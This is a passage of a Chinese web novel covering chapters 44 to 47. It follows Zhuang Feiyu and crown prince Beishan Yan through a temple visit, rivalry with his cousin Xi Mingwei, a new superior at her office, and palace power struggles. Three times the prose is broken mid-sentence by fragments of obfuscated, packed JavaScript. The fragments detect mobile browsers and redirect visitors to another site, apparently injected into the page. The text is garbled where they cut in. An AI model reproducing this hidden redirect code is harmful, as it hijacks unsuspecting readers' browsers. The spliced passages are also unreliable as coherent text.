“表哥,秦小刀在念愧堂等着你呢。我见这个姐姐可爱,不知可否借上片刻?” 北山鄢转头去看庄非鱼。 庄非鱼听她这样说,知道北山鄢另外有事,便挽住郗名微的手臂,对北山鄢道: “你去吧,我和郗名微玩一会儿。” 北山鄢略一颔首,嘱咐她: “素斋在东侧五观堂,你若想吃,告诉里头候着的师父就行。” “好。”庄非鱼连连点头。 她的脸上还带着未消散的薄红。 北山鄢告别二人,独自离开。 黎颂在他眼睛里发疯一样吵吵嚷嚷。 她怒声道:“你爱上庄非鱼了?” “为什么?” “凭什么?” “她也是来攻略你的,来玩你的,你知不知道?” 北山鄢神色冷淡,恍若未闻,任她一个人发泄情绪。 走出林子,寺院的方丈和尚们迎过来,带这位位高权重的施主过去。 方丈介绍皇天寺的历史,讲述佛教经典,走到念悔堂门口告诉他: “秦施主几个月前来到皇天寺,非要出家,贫僧阻挡他不得,现在……” 方丈欲言又止。 北山鄢透过帘子,见一青年和尚跪在蒲团上,一边诵经,一边敲木鱼。 他挥手示意众人告退,独自听了一会儿,听出来是《往生咒》。 和尚念完,停了一瞬,又捡起木鱼槌,开始念《地藏经》。 北山鄢于心不忍,喊了一句: “小刀。” 和尚转过头来看了一眼,隔着帘子没看清,便继续回头念诵“如是我闻”。 北山鄢推开竹帘,走进去,又唤了一句: “小刀。” 秦小刀这才转过头来。 他抬头看了一眼,好似没看清,又抬头看了一眼,最后眼睛睁大,忽地站起身来,嘴唇颤动着问: “是……主子?” “是我。”北山鄢答。 秦小刀眼眶陡然一红,就要落下泪来。 “官至三品了还哭鼻子。” 北山鄢被他逗笑了,掏出手帕递给他。 秦小刀接过帕子,粗鲁地擦了擦眼泪,却怎么也擦不尽。 他看了又看,不敢相信,最后小心翼翼问: “真的是主子?” “真的是主子。” 北山鄢伸出手,拍了拍他净光的脑袋。 “给你安排的兵部不去,怎么回来剃度了?”北山鄢笑他。 “臣以为,殿下会死。”秦小刀眼里闪烁痛苦的泪光。 北山鄢笑了笑,道: “本是必死之局,奈何神明挽留。” “主子活着就好,臣这就回来,继续伺候主子。” 秦小刀抹了把眼泪,扔开手中木鱼槌,跟着他笑起来。 北山鄢道: “伺候人有什么前途?我这次回来,定要让你坐稳正三品。” 秦小刀一听,立刻跪下,仰头望着他: “臣不在乎官职品级,只想跟着主子,无论刀山火海。” 北山鄢轻声道: “不用上刀山下火海,我要调你入除魔司。” 44. 佛前供花 银杏林下,待北山鄢走后,郗名微上下打量一番庄非鱼,笑靥如花道: “姑娘们正在客堂小聚,我们过去吧。” “好,”庄非鱼点了点头,好奇问: “你和郗名伟是什么关系?” “他是我哥哥。”郗名微答。 说罢晃了晃花篮,对庄非鱼说: “皇天寺有个习俗:未婚女子在茶花盛开的时候,摘一篮花朵奉于佛前,就能求个好姻缘,你要不要摘一些?” 庄非鱼摆了摆手道: “姻缘嘛,顺其自然就好。” 郗名微摇头: “这话我不同意。《孙子兵法》有云:‘求其上,得其中;求其中,得其下;求其下,必败。’面对任何一场战争,都要做好万全准备。” “姻缘怎么能和战争相比?”庄非鱼不解。 “不是有句话说:情场如战场嘛。” 郗名微笑道, “若你有心仪的男子,和他一同在佛前奉花,往后定能长长久久,生死不离。” 庄非鱼笑了笑,觉得这个姑娘幽默又博学。 几番话后,两人走到客堂门口。 郗名微道:“你先等我片刻,我去换身衣裳。” 庄非鱼看她衣裳整整齐齐,毫无脏污,不明白为什么要换。但出于礼貌,还是点了点头,没有多问。 郗名微将花篮递给庄非鱼,转身进入侧门。 庄非鱼百无聊赖等着,半炷香的时间过去,才见她出来。 郗名微换了一身深紫色衣裳,笑容清浅,看上去颇有世家贵女的沉静幽深。 她转了个圈,问庄非鱼: “好不好看?” 庄非鱼欣赏一番,连连点头: “刚才那套衣服显得可爱,这套比较有气质。” 郗名微掩唇一笑,接过花篮道: “我们进去吧。” 两人推门进去,在场小姐们尽皆站起来,向郗名微问安。 她放下花篮,向诸人介绍道: “这位是庄非鱼庄姑娘,和太子殿下一同回来的。” 听了这话,在场姑娘都笑了起来。 庄非鱼不知道她们在笑什么,但还是扬起笑容,向大家道: “诸位好。” 在场姑娘笑得更厉害了,有个红衣女子笑吟吟道: “殿下侧目的人,定有过人之处。” “这是殿下第一个近身的女子吧。” “乱讲,阿微才是第一个。” 一个绿衣女子嘴快,说罢立刻被身边女孩打了一下。 郗名微坐到上首,吩咐侍女添一把椅子给庄非鱼。 听到女孩们八卦,她笑骂道: “女试在即,诸位不思前程,净想些有的没的?” “阿微的终身大事,我们当然要上心。” “阿微可是盛京第一才女,用得着你操心?” “盛京第一才女,又不是情场第一才女。若论情之一字,还是得请教这位庄姑娘。” 姑娘们话赶着话,一步步逼近,最后齐齐望向庄非鱼。 庄非鱼没有接话。 侍女搬来椅子放在郗名微右下侧,她先是向侍女道谢,随后坐上去,好奇问: “盛京第一才女?还有这种排名?” 郗名微以扇掩面,羞道: “当不得真,都是闲人混叫的。” “哪里混叫?阿微不仅是第一才女,还是第一美女,这可是登过报纸的。” 红衣女子反驳道。 “天下第一美女?”庄非鱼吃惊道。 “只是盛京罢了。天下第一美女另有其人。”郗名微笑意浅淡。 “是谁?”庄非鱼追问。 “邵国郡主独孤雁,天下第一个因为美貌被册封的女子。” 独孤雁…… 庄非鱼立刻想起来了。 她不就是这款游戏的女主,和北山鄢齐名,被玩家攻略的积分榜榜首么? 有个年纪小的女孩好奇问: “竟有人比微姐姐还美?那该有多美?” 郗名微已是极罕见的美貌了。 “岂止是美,简直是傲。” 郗名微闭眼回忆: “她的眉宇,有唐刀的傲气。” 话音落罢,众人想起独孤雁乘车而过,腰悬唐刀,睥睨天下的样子,不由得长叹一声。 悠长的叹息伴随袅袅檀香,沁入姑娘们的回忆里。 房间久久无言,唯余紫檀线香渐渐燃尽。 * 等北山鄢来接时,发现庄非鱼蔫蔫的。 他皱眉问: “怎么,玩得不开心吗?” 庄非鱼凑到他耳边,悄悄道: “回去说。” 她环顾四周,见女孩们跪了一地向北山鄢行礼,唯独自己跑过来说话,就有些不好意思。 面对北山鄢,她向来是不行礼的。可见别人跪的多了,就忍不住怀疑自己。 是不是也该入乡随俗一下? 看背后那个青年和尚,眼睛都快瞪出火星子了。 北山鄢顺着她的眼神望过去,笑着介绍: “这是秦小刀,我向你说过的。” “哦。”庄非鱼点头。 就是那个在鄢州被扔进锅里煮,现在能吃三碗饭的秦小刀。 “这是庄非鱼,我的救命恩人。”北山鄢继续道。 秦小刀一听,眼神由凶煞转为和善。 他利落跪下,双手抱拳道: “多谢姑娘救命之恩,秦小刀铭刻在心。” “职责所在,应该的。” 庄非鱼摆摆手,想扶他起来。 两人推辞之际,北山鄢垂眸扫了一眼客堂,见女孩们低眉顺眼,看不出神色。 他对庄非鱼道: “不喜欢就不玩了。” “没有不喜欢!”庄非鱼连忙反驳,“大家都挺可爱的,给我讲了很多八卦。” 北山鄢看她口是心非的样子,知道这“窝里横”又开始了。 他便做了这个恶人: “喜欢也不能玩,我们该回去了。” “好的。” 庄非鱼立刻答应,向郗名微等人挥挥手: “我先回了,以后有空再聚。” 郗名微扬起笑脸,向她招招手道别。 突然,她看见北山鄢背在后背的手里,提着一篮子茶花。 她的笑容凝固住了。 她眼睁睁看着北山鄢拿出那篮子茶花,递给庄非鱼,道: “去不去佛前供花?” “不去。”庄非鱼懒懒道,“你又不是女孩子,摘花做什么?” “我担心你见到别的女孩都在供花,就自己没有,心中羡慕,专程采了给你。” 北山鄢牵起她的手,将花篮挎在她手臂上。 “我才不会呢,不过既然你哭着喊着求我,那我就大慈大悲陪你去喽。” 庄非鱼一扫之前的颓靡,嘴角高高翘起。 两人脚步一转,返回去佛殿方向。 郗名微见了,忍不住喊了一声: “表哥。” 北山鄢回头看着她。 她捧起一篮子茶花,扬起笑脸道: “不知表哥可否替我也供上一篮?” 北山鄢微笑道: “不可。” 说罢越过她,带庄非鱼离开。 两人走远后,红衣姑娘爬起来,恨恨一句: “真是好手段。” 郗名微慢慢起身,平静道: “技不如人,当受此辱。” 这场精心谋划的相遇,还是失败了。 她看也没看那捧花篮,和众人告别后,乘轿回府。 下轿时,见郗名伟浑身脏兮兮跑回来。 她远远叫了一声: “哥哥。” 郗名伟吓了一跳,鬼鬼祟祟四处一探,发现只有她一个人时,才松了口气。 他快步过来,从怀里掏出一个小盒子,递给妹妹: “给你带的礼物,看看喜不喜欢。” 郗名微含笑打开,看见是一副小马风铃。 她收了回去,问郗名伟: “赛马好不好玩?” “你怎么知道我去赛马了?” 郗名伟吃了一惊。 “喏。” 郗名微捻起他衣襟上枣红色的马毛,规劝他: “哥哥该空出些时间学学四书五经,实在不喜欢,学些律法算术 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13268298|133376||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、兵法武艺也好……” 眼看哥哥露出头疼的表情,她识趣咽回剩下的话。 郗名伟诚恳道: “好妹妹,你知道我打小就不爱学习。” 郗名微叹了口气,招呼门口丫鬟过来,问她: “注意老爷去哪儿了吗?” 丫鬟恭敬答道: “老爷在书房,夫人在丹姨娘院中。” 郗名微一听,向兄长指路: “从西边回去,定碰不上父亲母亲。” “多谢妹妹。” 郗名伟向她作揖,感激地跑走。 郗名微目送他离开,忽而转头问刚答话的丫鬟: “你叫什么名字?” 丫鬟福身,欢喜道: “奴婢小萝。” 郗名微点头: “很好,以后到我房间伺候吧。” * 佛前供过花后,庄非鱼抽出一朵,拿在手上甩着玩。 点灯供花的僧人连忙道: “供上的花不可拿走。” 庄非鱼抓着花枝,好奇问: “为什么不能?” “奉花再退,姻缘恐生波折。”僧人答。 庄非鱼心想:要是拜的是被困游戏里的玩家,没准真有几个下来捣蛋的。可她拜的只是一座文化景观,能妨什么事? 她笑着又抽了一朵茶花,对僧人道: “人生嘛,一波三折才有意思。” 僧人呐呐无言,用痛惜的眼神望了望她,又望向佛前。 两人离开乘轿,北山鄢复又问她: “不喜欢郗名微吗?” “不能说不喜欢。” 庄非鱼回想自己和郗名微的相处,只觉她样样挑不出毛病,可就是胸口发闷,说不出的不顺来。 她摇摇头道: “我们就不是一路人,就像鱼只能和龙虾螃蟹一起玩,和花是玩不到一起的。” “她可不是花。” 北山鄢伸出一根手指,摆了摆, “郗名微这个姑娘,有野心,有图谋。她从小跟着皇后处理政事,大大小小轮过七八个部门,在六部十三司皆左右逢源。” “原来是个卷王,怪不得我跟她玩不到一起。” 庄非鱼了然。 “何谓卷王?”北山鄢问。 “就是你们这种天黑还要工作的人。” 庄非鱼伸出手指,戳了戳他的脸颊。 北山鄢一时不知怎么回,他眼神一瞟,掀开帘子,问庄非鱼: “要不要吃些糕点蜜饯?” “什么蜜饯?” 庄非鱼向外望去,看见一座颜色鲜艳、富丽堂皇的店铺。 店铺一侧插着小旗,上面绣着木兰花的形状,正中间四个鎏金大字: 清华坊。 她愣了一下,然后果断跳下车: “吃,必须吃!” 庄非鱼抚了抚衣袖,怀着仰望的心情、崇敬的心情走进去。 掌柜的见她衣裳不菲,料定是个大主户,款步过来向她推销: “您是嗜甜还是喜欢清淡?” 庄非鱼说:“我爱吃甜的。” 掌柜的笑盈盈拿筷子夹了几种蜜饯,装在木托盘里递过来: “姑娘先尝尝,合口味了您再买。” 庄非鱼尝了杏脯、桃干、梅条,都不太喜欢。 要么太酸,要么太甜,甜的发腻。 但她想:都尝过人家这么多口味了,怎么也得买上一些。 于是指着金丝蜜枣道: “装点这个吧,要小份的。” 北山鄢见她想买不想买的为难样子,便招呼掌柜的: “还有其他的都呈上来吧,不拘价格。” 掌柜一听,连忙招呼小二去楼上拿些新鲜的。不一会儿,小二捧着瓷盘下来。 掌柜的接过去,一一介绍: “这三味是紫苏杨梅姜、糖荔枝、脆青梅。另三味是八仙果、庵□□和藤梨,都是难得的蜜饯果子。” 庄非鱼挨个尝过去,尝到糖荔枝时眼睛一亮: “这个好吃!” 她将咬了半口的荔枝递到北山鄢唇边,北山鄢尝了一口,道: “全包起来。” 45. 秉烛夜游 上班有除魔司小伙伴陪聊,下班有北山鄢陪玩,庄非鱼过了几天混吃等死的快活日子。 直到除魔司换了新掌印,李念儿过来提醒她: “这几个月的呈文和简报该交了。” 她才猛然惊醒。 算算日子,她要写三篇不同类型的呈文和八篇简报! 庄非鱼如遭雷劈,回去趴在桌上,生无可恋对苏巧巧说: “怎么这么多公文要写?我想死一死。” 苏巧巧走过来,拍了拍她的脑袋,嘲笑道: “这点东西也值得说?老娘年轻时在乡镇,一个电脑一包烟,一晚上肝十篇材料不带歇的。” “十篇?”庄非鱼张大嘴巴。 刚毕业的新打工人被老社畜震惊到了。 “那可不?想当年,我大学毕业考到乡镇,刚进去就被寄予众望,成了部门的笔杆子。过两年我们领导走到县里,唯一带的人就是我。他给上面推荐的时候,评了我三个‘能’字。” 苏巧巧得意地伸出三根手指。 “什么能?”庄非鱼不懂。 “能写,能说,能干!” 她一根根压下去,眼里闪烁怀念的光芒。 “后来我又换了几个部门,但一直在材料组待着。那届是个女领导,对我特别欣赏,一字一句教我写。有一回秘书生病,她让我暂时替岗,结果市上领导下来检查时,看见是个女的开车拎包,眉头立马就皱起来了。 他问:‘县上没人了?怎么能叫个女秘书?’ 辛辛苦苦这些年,好不容易走到人前。一句话,我的路断了。” 苏巧巧平静笑了笑,似乎早已接受现实。 庄非鱼不理解,她捏住拳头,义愤填膺道: “女秘书怎么了?” “女……跟你说了你也不懂。”苏巧巧一副看小孩的模样。 她目光一转,看到桌上的纸袋子,拎起来一瞧: “清华坊?” 顿时乐不可支道: “这蜜饯指定补脑。” 说着掏出一个糖荔枝扔进嘴里,嚼啊嚼。 “好吃吧。” 庄非鱼挑了挑眉,也掏出一个扔进嘴里。 糖荔枝是经糖水腌过,再特殊处理的蜜饯。吃起来不像其他的果脯那样干硬,反而汁水充沛,鲜美甜香。 苏巧巧又吃了一个,竖起大拇指: “不愧是清华出品,味道没的说。” 见她喜欢,庄非鱼一把推过纸袋子,讨好她: “大佬,我把这袋都给你,写公文的事,你帮帮我呗。” 苏巧巧拎过纸袋,点了点她的额头: “你先写,写完我帮你改改。” 说罢扬长而去。 庄非鱼重新趴回去,一把抓起毛笔,铺开纸张,想着写什么呢?怎么写呢? 这一想就是一个时辰。 一个时辰一字未动。 记忆回溯中,她突然灵光一闪,想起自己之前给李念儿传过信,汇报过郦府情况。 于是连忙扔下笔,跑出去大喊: “巧巧,我之前传回来的鸽子有没有记录?你帮我找找!” 苏巧巧没有回答,院子也没人答话。 庄非鱼挨个房子找过去,找了一圈,几个房间空空如也,半个人都没有。 她有些疑惑,寻思依苏巧巧的性格,要么去泡男人,要么去跑关系,找不见人倒是常态,可李念儿这么爱岗敬业的一个人,怎么也脱岗不见了? 整个院子空落落的,庄非鱼有些心慌,便出了门,想着去其他部门看看。 连逛了两三个院子,都没有人。 庄非鱼更慌了,想着自己是不是错过什么涉及整个除魔司的紧急事件了,于是小心翼翼向正院走去。 走了一会儿,忽而右肩一痛。她惊痛转身,看见郗名伟蹑手蹑脚躲在背后,手中是合上的折扇。 “郗名伟!你吓我一跳!” 庄非鱼气恼转身,一只手抬起,啪啪啪连打他好几下。 见到郗名伟,她安心多了,要是真的错过什么大事,至少还有一个有难同当的伙伴。 郗名伟连忙双臂合抱,护住自己胖胖的身体。 他一觉睡醒已近晌午,慢悠悠来除魔司时,发现司里静悄悄的。 心中正疑惑,突然看见庄非鱼的背影,便上前拍了她一下,没想到吓住她了。 他开口就要解释,忽听一声怒喝: “大庭广众之下,你们这是在做什么?” 庄非鱼惊诧停下,抬头望去,见是前几日在皇天寺见到的秦小刀。 秦小刀一脸怒气,那愤怒程度就像庄非鱼给他带了绿帽子一样。 庄非鱼觉得莫名其妙,张口就要反驳,忽然看见在他背后,还站着除魔司大大小小的官员。 周司丞大喝一声: “郗司正,庄非鱼,还不过来拜见秦掌印!” 说罢疯狂给他俩使眼色。 庄非鱼和郗名伟对视一眼,汗流浃背了。 他们突然想起:昨天似乎通知过,今日巳时一刻来正院集合,新掌印要见见大家。 可庄非鱼早上一来就构思文书,郗名伟万事不上心,两人都忘了这事。 他俩连忙走过去,向秦小刀行礼道: “拜见秦掌印。” 秦小刀看着他们两个,尤其看着庄非鱼,转头似笑非笑道: “两位少卿,这就是你们管的除魔司?” 杜少卿挂起难堪的笑容,退后一步拱手道: “禀掌印,斥候部无品无级,常在外奔走,难免举动自由,臣回头必定严行申饬。” 秦小刀收回视线,皮笑肉不笑道: “斥候部职责所在,我无意置喙。只是当众拉拉扯扯,有伤风化,你说是不是,庄姑娘?” 庄非鱼保持行礼的姿势,心中暗骂。 要说举动自由,她确实有错,可说到风化……前几天我和你主子拉拉扯扯也没见你说什么有伤风化。 杜少卿点头连连称是,却不敢多说。 就秦掌印这怨夫吃醋的口吻,自己还能说什么呢? 没想到这位姑娘看上去懒懒散散,却能和新来的掌印,以及郗大公子两个人扯上关系,真是人不可貌相啊。 他心中感叹,面上还做出惶恐的样子。 秦小刀盯住庄非鱼,直盯到她身形不稳,才道一声: “庄姑娘,请随我来。” 说罢背手离开。 庄非鱼起身,望向自己熟悉的领导同事,翟流云向她挤眉弄眼,周司丞急忙挥手,她这才跟上去。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13268299|133376||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >两人一前一后进了掌印的书房。 秦小刀摘下帽子,跪地行礼道: “庄姑娘,臣无意冒犯,只是您既然和殿下有情,又怎么能和外男拉拉扯扯?” 庄非鱼看见他帽子下的光头,有些想笑,但还是忍住了。 她微微掀起嘴角,问: “这和你有什么关系?” “臣是殿下家奴,当然要为殿下分忧。” 秦小刀抬头,目光坚定且锐利。 庄非鱼俯视着他,冷笑一声: “秦掌印,在除魔司我给你个面子,公事上你再怎么训斥,我不会反驳一句。可我的私事轮不到你来管,要管,让北山鄢亲自给我说。” 说完退后两步,转身离开。 她心中迁怒北山鄢,下班后没去找他玩,一个人窝在院子里写呈文。 北山鄢处理政事到深夜,心想庄非鱼怎么还没过来,起身欲去木樨院,可侍从上前禀报道: “郗丞相来访。” 北山鄢只好停下脚步,去见郗丞相。 郗丞相身着便衣,带着兜帽急匆匆赶来,见到北山鄢立刻跪下道: “娘娘抓了我们在刑部和大理寺的人手。” 北山鄢神色一动,扶起丞相,示意他坐下说话。 他若有所思道:“看来新法要修了。” 郗如许做事前,喜欢准备万全,不是修法这样的大事,不会轻易引起动荡。 “娘娘无意将修法一事交于您手?” 郗丞相眉头紧皱道, “莫非其欲效武后乎?” 北山鄢莞尔道: “舅父今日才发现?” 郗丞相神色变了又变,最后惊疑不定道: “新法修订一事,干系重大,东宫定要竭力争取……” 话音未落,侍从进来禀报: “禀殿下,户部尚书夏文昌、礼部侍郎肖青、兵部侍郎丁俊臣来访。” 北山鄢道: “都请进来。” 众人商讨到深夜,拟定章程后,方才散去。 北山鄢起身送客后,心中烦闷,一个人走到木樨院。 木樨院灯火还亮着,他七拐八拐走到庄非鱼房间门口,看见那抹奋笔疾书的剪影,好笑着敲了敲窗。 “谁?” 庄非鱼猛地抬起头,喊了一声。 “真稀奇,这还是我第一次见你提笔写字。”北山鄢悠然道。 话音一落,他听庄非鱼站起身,嘴里一边嘀咕着什么“ddl是第一生产力”“打工人哪有不疯的”“不想上班了,想去峨眉山当猴,见谁给谁一嘴巴子”,一边打开窗。 月光下,北山鄢一袭白衣,恍若谪仙,庄非鱼又一次看呆了。 “好好的姑娘,怎么傻了。” 北山鄢伸手,在她眼前晃了晃。 庄非鱼回过神来,双手捧腮,抵在窗台上,望着他止不住笑道: “不知道为什么,一看见你,我整个人都开心起来了。” 北山鄢跟着笑起来。 他递出一只手,向庄非鱼道: “长夜漫漫,不知可否邀姑娘秉烛夜游?” “可!” 庄非鱼握上他的手,稍一用力,从窗台翻出来,对他偏头笑道: “走吧。” 46. 天无绝人 月光融融,暗香疏影,两人走出木樨院。 北山鄢慵懒道:“来东宫这么久,还没有带你好好逛过。” “我不爱逛。” 庄非鱼四处乱看,最后仰头蹦起来,折了根柳枝四处探路。 柳树一阵晃动,散下满地落叶。 北山鄢摘去她发丝间的一片柳叶,笑问她: “在东宫待得惯不惯?” “还好,” 庄非鱼纠结一下,仰头问他, “你能不能告诉那个叫乐寿的婢女,我可以自由活动,真的不需要她跟着。” 北山鄢会心一笑,打趣她: “婢女向你示好,你一点儿不上道。” “向我示好有什么用,我就一贫穷打工人,转正都没混上呢。” 庄非鱼懒懒踢步走着。 “谁说没用?我不就记住‘乐寿’的名字了?” “你记住有什么用?能涨工资吗?” “能涨。” 庄非鱼一听,连忙扔开柳枝,拽住他的手臂: “喂,你没记住我吗?为什么不先给我涨!” “对上无礼,扣钱。” 北山鄢点了点她的手背。 庄非鱼松开他的手臂,气鼓鼓道: “我恨你们这些天龙人!” 北山鄢没听过这个词,但略一琢磨,便知其意,不由得低笑。 两人走到一处漂亮的池山,庄非鱼问: “这是什么池子?” “金鱼池。”北山鄢答。 庄非鱼撑起胳膊,趴在亭台栏杆上看了一会儿,问道: “怎么没见金鱼游呢?” “因为整个东宫,只有一条鱼。” 北山鄢望着她,声如温玉。 庄非鱼以为他是在逗自己,害羞地将脑袋埋进胳膊里,偏过头不看他。 怎料北山鄢回忆道: “我十岁那年出门,看见一只金红鲤鱼跳出池塘,干渴欲死,便将它拾回来,凿了这间池塘给它。因怕别的小鱼欺负它,就再没放过其他活物。” 庄非鱼将信将疑。 她探头看了一会儿,问: “鲤鱼在哪?我看不见!” 北山鄢:“可能怕你欺负它,躲起来了。” 庄非鱼:“我甩你一脸水!” 两人玩了一会儿,庄非鱼心里惦记文书,拽着他的袖子就要回去。 北山鄢一听,只得跟回去帮她润色。两人回到房间,北山鄢拿起她写了一半的呈文,看这满篇大白话,头疼道: “条理倒是清晰,只是这文采……” 庄非鱼一副死鱼不怕开水烫的样子,趴在桌上一直吹砚台里的墨汁。 听北山鄢质询,她仰起脸蛋,不服气问: “写公文还要文采?” “怎么不要?”北山鄢指着她写的一行字道: “你看,这句‘臣上报真相后,就待在郦府等人前来支援’,改成‘臣上报真相后,居郦府韬晦待令,伺机行动’如何?” “不都一个意思嘛,” 庄非鱼嘴上这么说着,身体诚实地提笔写下。 写到“韬晦”时,她一拍脑袋问: “我突然忘了,是哪个‘晦’字?” 北山鄢俯身握住她的手,行云流水般写下“韬晦待令”四个字。 庄非鱼看他改的这句话,发现北山鄢确实好用,连忙从一堆纸里翻出几张来递给他: “这是我白天写的三份呈文,你帮我看看还有什么能改的?” 北山鄢拿过去一瞧,看见上面乱七八糟,已有朱笔修改的痕迹。 他料想是除魔司几个女孩子帮着改的,便没有多问,继续看下去。 看着看着,他发现庄非鱼不仅用词简单,格式上亦马马虎虎,三篇呈文都没有落款。 帮她修改的姑娘用朱笔暴躁题款: 【永煦二十二年十月xx日庄非鱼呈】 【永煦二十三年一月xx日庄非鱼呈】 【永煦二十三年五月xx日,庄非鱼你个猪头!!!】 皆从后向前空了四个字。 北山鄢忍俊不禁,而后目光一凝,看了好一会儿后,他指着呈文末尾道: “这人倒是有趣,熙国文书落款通常是从前向后空二字的位置,她却从后向前空四字。” 庄非鱼凑过来一看,莞尔道: “苏巧巧啊,这是她的个人习惯。” 苏巧巧在现代写材料时养成的习惯,不仅落款要从后向前数四个字,正文段前也得空两字,换成古代竖版文书后也改不掉。 北山鄢用手指摩挲纸张,默念一句: “苏,巧……巧。” 随后一撩长衫,坐到桌前,挥开桌上废纸道: “再拿些新的纸来。” 庄非鱼连忙过来收拾。 她扔掉废纸,拿了一沓新纸和笔墨过来,热情周到地摆好,最后拉了个凳子坐过来,用可爱的语气问: “客官还需要什么服务?” “安静。” “得嘞!” 庄非鱼捧着腮,看他给自己改公文。 房内一灯如豆,庄非鱼看着看着眼睛眯下去,头点下去,最后慢慢趴到桌上,沉沉睡去。 北山鄢改完后,轻轻抱她到床上,给她脱了鞋,盖上被子,随后收拾书桌,吹灭蜡烛,离开房间。 木樨院中,他负手而立,仰头望着夜半一剪残月,嘴上默念“苏巧巧”三字,心中一阵喜悦。 他心道: 天无绝人之路。 * 第二天,庄非鱼起床,看见桌上整整齐齐三份呈文,心里高兴极了。 她快快洗漱后,连饭也没吃,抓起两个包子,就揣着呈文跑到除魔司。 天色微明,整个除魔司都是刚刚苏醒的嘈杂之气。 苏巧巧和李念儿也刚到,两人挽着袖子,一个扫地,一个擦桌子,配合默契。 庄非鱼见状,新人的雷达敏锐察觉,放下包子就要过来帮忙,苏巧巧嫌弃挥手: “去去去,去改你那呈文去。” “噔噔蹬蹬~” 庄非鱼一摸衣袖,掏出整整齐齐三份公文,在苏巧巧面前晃了晃: “请领导批阅!” “这么快?” 苏巧巧扔下抹布,狐疑地擦擦手,接过呈文看下去,越看越惊讶。 文章引经据典,用词老练,情理兼具,硬是将庄非鱼卧底生涯的三分功劳夸赞成十分。 这三篇和她昨天见到的初稿比起来,简直天壤之别。 “这是你写的?怎么可能?” 苏巧巧看了又看,简直不可置信。 分明连字迹都不一样! “当然~”庄非鱼恬不知耻的接过去。 “不可能,绝不可能!” 苏巧巧摇头,笃定庄非鱼另找了外援。 “哼,士别三日,当刮目相待。” 庄非鱼脑袋高高仰起,得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13268300|133376||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意的像只偷了鱼的猫。 小鱼惯是喜欢夸耀自己。 李念儿心中明镜一般。她放下扫帚过来一瞧,笑问道: “太子殿下给你改了多少?” “亿点点。” 庄非鱼伸出手指,比了指甲盖大小的距离。 “还有八篇简报呢?”李念儿继续问。 “稍等。” 庄非鱼收回呈文,心想简报只是留着存档,又不需要上报,她将这三篇文章拆成八篇不就有了? 小小文章,还不是手到擒来。 忽然,她看见翟流云没在院子里,好奇问两人: “阿云呢?” “今儿一大早就被秦掌印派出去了。”李念儿道,“快去写简报。” “好嘞!”庄非鱼干脆答应。 * 修新法一事迟迟不定,连久居深宫的永煦帝都知道了。 他有心帮儿子一把,遂拟旨,令太监秘密交给郗丞相。 怎料第二日,朝堂风平浪静,无一人提出此令。 接连几天后,他恍然惊觉: 帝令已走不出乾元宫。 他眼前一黑,扶住床榻,吩咐身边亲信道: “唤太子过来。” 北山鄢急匆匆赶来,见永煦帝奄奄一息躺在床上。 永煦帝面色青黑,紧紧握住他的手道: “阿鄢,你母亲……你母亲……” 说着说着,连声咳嗽,仿佛要咳出五脏六腑一样。 北山鄢连忙支起靠枕,轻抚父亲胸口,帮他顺气。 他柔声道: “父皇,我和母亲的事你不用管了,你只管养好身体。” 永煦帝深深呼气,悲叹道: “是朕无能,不知从何时起,从何时起,郗如许已权势滔天。如今下令,政令竟走不出乾元宫。” 宫女端着汤药在一旁侍立,北山鄢接过去,喂给父亲。 他一边喂药,一边安慰道: “父亲何必忧虑,新法在谁手上修订都一样,终归是我们家的人。” 永煦帝摇了摇头,道: “若是别的女人,我不担心,可郗如许,郗如许她对我,对郗家尚且如此……” “血浓于水,她终归是我的母亲。”北山鄢劝慰永煦帝。 哄父亲睡下后,郗如许身边的大宫女过来,行礼道: “娘娘请您过去。” 北山鄢跟着走进坤和殿,郗如许披了件衣服,正在那里批阅奏折。 “母后。”北山鄢叫了一声。 郗如许将他晾在那里,等批完手上奏折后,才抬起眼,似笑非笑道: “凳子还没坐热,就急着上桌吃饭了?” 说罢,扔给他一份圣旨。 北山鄢打开一看,是永煦帝下令让他修订新法的事。 郗如许面向他,似悲似喜道: “你以为,世事是你想怎么样,就能怎么样的吗?” 北山鄢反而笑了起来,他不紧不慢卷起圣旨,直视母亲的眼睛,平静道: “人心善变似昏晓,世事诡谲如云雨。上了牌桌,就只能博个输赢。” 郗如许看了他好一会儿,冷冷道: “赌性!” 随后笑骂道: “御膳房新进了些糕点,拿去给你的小女友吃吧。” 宫女流水般走进来,人人手上端着盘子,呈上许多吃食。 北山鄢挑挑拣拣选了几样,带回去给庄非鱼。 47. 伪面君子 因为救了太子,加上呈文写得好,除魔司决定给庄非鱼转正,其他参与人员记一大功。 周司丞乐呵呵宣布道: “皇后娘娘决定亲自封赏你们,稍后宫中教授礼仪的人就会过来。” 庄非鱼开始紧张了。 